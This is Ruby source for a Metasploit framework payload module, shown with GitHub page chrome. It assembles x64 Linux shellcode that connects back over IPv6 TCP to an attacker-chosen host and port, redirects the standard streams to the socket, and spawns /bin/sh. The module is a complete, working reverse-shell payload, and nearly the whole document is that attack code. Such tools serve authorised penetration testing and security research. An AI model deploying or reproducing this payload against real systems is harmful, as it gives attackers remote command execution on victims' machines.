-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
shell_reverse_ipv6_tcp.rb
130 lines (107 loc) · 4.56 KB
/
shell_reverse_ipv6_tcp.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 90
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux x64 Command Shell, Reverse TCP Inline (IPv6)',
'Description' => 'Connect back to attacker and spawn a command shell over IPv6',
'Author' => 'epi <epibar052[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix,
))
register_options([
OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
])
end
def convert_input(value, padding, reverse=false)
# converts value to comma separated string of
# zero-padded bytes to be used in the db instruction
arr = value.to_s(16).rjust(padding, "0").scan(/../)
if reverse
arr = arr.reverse
end
arr.map{ |x| sprintf("0x%02x", x.hex) }.join(',')
end
def generate(opts={})
# 22 -> "0x00,0x16"
# 4444 -> "0x11,0x5c"
tcp_port = convert_input(datastore['LPORT'], 4)
# 0 -> "0x00,0x00,0x00,0x00"
scope_id = convert_input(datastore['SCOPEID'], 8, true)
# ::1 -> "0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01"
# dead:beef:2::1009 -> "0xde,0xad,0xbe,0xef,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x09"
ipv6_addr = convert_input(IPAddr.new(datastore['LHOST'], Socket::AF_INET6).to_i, 32)
payload = <<-EOS
socket_call:
; int socket(int domain, int type, int protocol)
push 0x29
pop rax ; socket syscall
push 0xa
pop rdi ; AF_INET6
push 0x1
pop rsi ; SOCK_STREAM
xor edx,edx ; auto-select protocol
syscall
push rax
pop rdi ; store socket fd
jmp get_address ; jmp-call-pop
populate_sockaddr_in6:
; struct sockaddr_in6 {
; sa_family_t sin6_family; /* AF_INET6 */
; in_port_t sin6_port; /* port number */
; uint32_t sin6_flowinfo; /* IPv6 flow information */
; struct in6_addr sin6_addr; /* IPv6 address */
; uint32_t sin6_scope_id; /* Scope ID (new in 2.4) */
; };
; struct in6_addr {
; unsigned char s6_addr[16]; /* IPv6 address */
; };
pop rsi ; store pointer to struct
connect_call:
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; rdi -> already contains server socket fd
; rsi -> already contains pointer to sockaddr_in6 struct
push 0x2a
pop rax ; connect syscall
push 0x1c
pop rdx ; length of sockaddr_in6 (28)
syscall
dup2_calls:
; int dup2(int oldfd, int newfd);
; rdi -> already contains server socket fd
push 0x3
pop rsi ; newfd
dup2_loop:
; 2 -> 1 -> 0 (3 iterations)
push 0x21
pop rax ; dup2 syscall
dec esi
syscall
loopnz dup2_loop
exec_call:
; int execve(const char *filename, char *const argv[], char *const envp[]);
push 0x3b
pop rax ; execve call
cdq ; zero-out rdx via sign-extension
mov rbx, '/bin/sh'
push rbx
push rsp
pop rdi ; address of /bin/sh
syscall
get_address:
call populate_sockaddr_in6
; sin6_family(2), sin6_port(2), sin6_flowinfo(4), sockaddr_in6(16), sin6_scope_id(4)
db 0x0a,0x00,#{tcp_port},0x00,0x00,0x00,0x00,#{ipv6_addr},#{scope_id}
EOS
Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string
end
end